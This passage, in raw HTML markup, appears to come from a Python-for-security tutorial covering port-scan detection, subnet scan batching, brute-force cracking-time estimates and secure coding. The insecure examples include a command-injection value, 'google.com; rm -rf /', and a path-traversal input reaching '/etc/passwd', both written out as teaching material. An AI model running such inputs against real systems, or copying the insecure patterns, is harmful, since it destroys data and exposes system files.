&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ip_counts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; requests&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Sliding window — detect port scan (many ports hit in short time)
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;collections&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;defaultdict&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="n"&gt;connection_log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;  &lt;span class="c1"&gt;# List of (timestamp, ip, port) tuples
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;detect_port_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;window_seconds&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Detect if any IP hit more than threshold ports in window_seconds.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;ip_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;defaultdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ip_ports&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;scanners&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ip_ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; 
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;scanners&lt;/span&gt;

&lt;span class="c1"&gt;# Deduplication while preserving order
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;deduplicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;seen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;seen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;seen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;

&lt;span class="n"&gt;ips_with_duplicates&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.16.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;unique_ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;deduplicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ips_with_duplicates&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unique_ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                      &lt;span class="c1"&gt;# ['10.0.0.1', '192.168.1.1', '172.16.0.1']
&lt;/span&gt;
&lt;span class="c1"&gt;# Chunking — process large lists in batches
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Split list into chunks of given size.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;all_targets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;chunks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_targets&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;scan_batch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                  &lt;span class="c1"&gt;# Scan 25 hosts at a time
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 Time Complexity — Why It Matters for Bruteforce
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Understanding time complexity determines if an attack is practical
&lt;/span&gt;
&lt;span class="c1"&gt;# Character sets
&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
&lt;span class="n"&gt;uppercase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
&lt;span class="n"&gt;digits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="n"&gt;special&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lowercase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;uppercase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;digits&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;special&lt;/span&gt;  &lt;span class="c1"&gt;# 94
&lt;/span&gt;
&lt;span class="c1"&gt;# Password space calculation
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;password_space&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;charset_size&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;

&lt;span class="c1"&gt;# How many passwords in a 8-character lowercase password space?
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;password_space&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;   &lt;span class="c1"&gt;# 208,827,064,576 (~208 billion)
&lt;/span&gt;
&lt;span class="c1"&gt;# At hashcat speed for NTLM (360 billion/second on RTX 4090):
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashes_per_second&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;password_space&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;charset_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;hashes_per_second&lt;/span&gt;

&lt;span class="n"&gt;speed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;360_000_000_000&lt;/span&gt;  &lt;span class="c1"&gt;# NTLM on RTX 4090
&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8 lowercase chars, NTLM: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; seconds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# &amp;lt; 1 second!
&lt;/span&gt;
&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8 full charset, NTLM: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; seconds&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# ~7 seconds
&lt;/span&gt;
&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;hours&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;
&lt;span class="n"&gt;years&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hours&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;8760&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;12 full charset, NTLM: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;years&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; years&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# ~millions of years
&lt;/span&gt;
&lt;span class="c1"&gt;# This is exactly why password length matters more than complexity
# And why bcrypt/Argon2 are used (they slow the hashing down by factor of 100,000+)
&lt;/span&gt;&lt;span class="n"&gt;bcrypt_speed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100_000&lt;/span&gt;  &lt;span class="c1"&gt;# bcrypt cost 12
&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;crack_time_seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowercase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bcrypt_speed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;years&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;365.25&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8 lowercase chars, bcrypt: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;years&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; years&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Thousands of years
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Security-Oriented Programming Mindset
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Think Like an Attacker When You Read Code
&lt;/h3&gt;

&lt;p&gt;Every time you read code — whether it is someone else's application, a CTF challenge, or a piece of malware — ask these questions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where does user input come from?&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;input()&lt;/code&gt;, command-line arguments, environment variables, file reads, network data, database results — any of these can be attacker-controlled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where does that input go?&lt;/strong&gt;&lt;br&gt;
If input goes into a SQL query without sanitisation → SQL injection.&lt;br&gt;
If input goes into a shell command → command injection.&lt;br&gt;
If input goes into a file path → path traversal.&lt;br&gt;
If input goes into a buffer without length check → buffer overflow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the trust boundaries?&lt;/strong&gt;&lt;br&gt;
Which parts of the code run with elevated privilege? What can unprivileged input affect?&lt;/p&gt;
&lt;h3&gt;
  
  
  10.2 Writing Secure Code — The Basics
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# INSECURE: Command injection vulnerability
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ping_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# NEVER DO THIS — if hostname = "google.com; rm -rf /"
&lt;/span&gt;    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping -c 1 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# SECURE: Use subprocess with list arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ping_host_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Input validation first
&lt;/span&gt;    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;^[a-zA-Z0-9.-]+$&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid hostname: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# subprocess with list — no shell interpretation
&lt;/span&gt;    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;returncode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;# INSECURE: Path traversal vulnerability
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# If filename = "../../../../etc/passwd"
